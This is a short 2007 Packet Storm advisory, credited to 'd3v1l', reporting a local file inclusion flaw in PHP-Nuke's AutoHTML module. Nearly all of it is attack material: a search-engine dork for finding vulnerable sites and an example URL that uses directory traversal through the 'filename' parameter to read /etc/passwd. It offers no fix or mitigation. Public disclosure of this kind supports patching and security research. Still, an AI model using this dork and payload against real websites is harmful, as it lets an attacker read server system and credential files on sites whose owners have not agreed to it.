autohtml-lfi.txt

2007-12-08T00:00:00
ID PACKETSTORM:61620
Type packetstorm
Reporter d3v1l
Modified 2007-12-08T00:00:00

Description

                                        
                                            `--------------------------------------------------------------------------------------------------------------------------------------  
Another Bug on PHP-Nuke (autohtml.php) AutoHTML Module Local File Inclusion  
  
Dork: inurl:autohtml.php?filename=LFI  
  
Example:  
http://site.com/autohtml.php?filename=../../../../../../../../../../../../../../../etc/passwd  
  
Discovered by d3v1l d3v1l@security-shell.org  
http://security-shell.uni.cc  
  
---------------------------------------------------------------------------------------------------------------------------------------  
`